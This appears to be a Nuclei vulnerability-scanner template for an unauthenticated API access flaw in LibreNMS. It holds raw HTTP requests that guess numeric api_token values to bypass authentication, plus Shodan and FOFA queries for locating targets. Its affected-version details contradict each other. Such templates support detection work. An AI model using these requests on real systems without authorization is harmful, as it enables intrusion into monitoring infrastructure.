Description
LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.
LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.
id: CVE-2026-86426
info:
name: LibreNMS <= 26.7.0 - Unauthenticated API Access
author: 0x_Akoko
severity: critical
description: |
LibreNMS <= 26.8.0 contains an authentication bypass caused by MySQL type coercion in the REST API token validation, letting unauthenticated attackers access protected endpoints and execute remote code via alert templates.
impact: |
Unauthenticated attackers can access protected API endpoints and execute remote code, leading to full system compromise.
remediation: |
Update to version 26.8.0 or later.
reference:
- https://github.com/librenms/librenms/security/advisories/GHSA-cvq8-gqfq-3mvg
classification:
cvss-score: 9.2
cwe-id: CWE-287
metadata:
verified: true
max-request: 11
vendor: librenms
product: librenms
shodan-query: http.title:"LibreNMS"
fofa-query: title="LibreNMS"
tags: librenms,auth-bypass,type-confusion,api,unauth,vkev
flow: |
if (http(1)) {
var guesses = [[0], 1, 2, 3, 4, 5, 6, 7, 8, 9];
for (var i = 0; i < guesses.length; i++) {
set("guess", JSON.stringify(guesses[i]));
if (http(2)) break;
}
}
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(tolower(body), "librenms")'
condition: and
internal: true
- raw:
- |
GET /api/v0/devices HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"api_token":{{guess}}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "\"status\"", "\"ok\"", "\"devices\"")'
condition: and
# digest: 4a0a00473045022100aaf48a7928475220770b0383a3f505b463d65a77b135f3f87d66a3def2679a7802206ae285a24252e603e708b406156b70a04a3fb6374568554084d7a5ecae9a680e:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.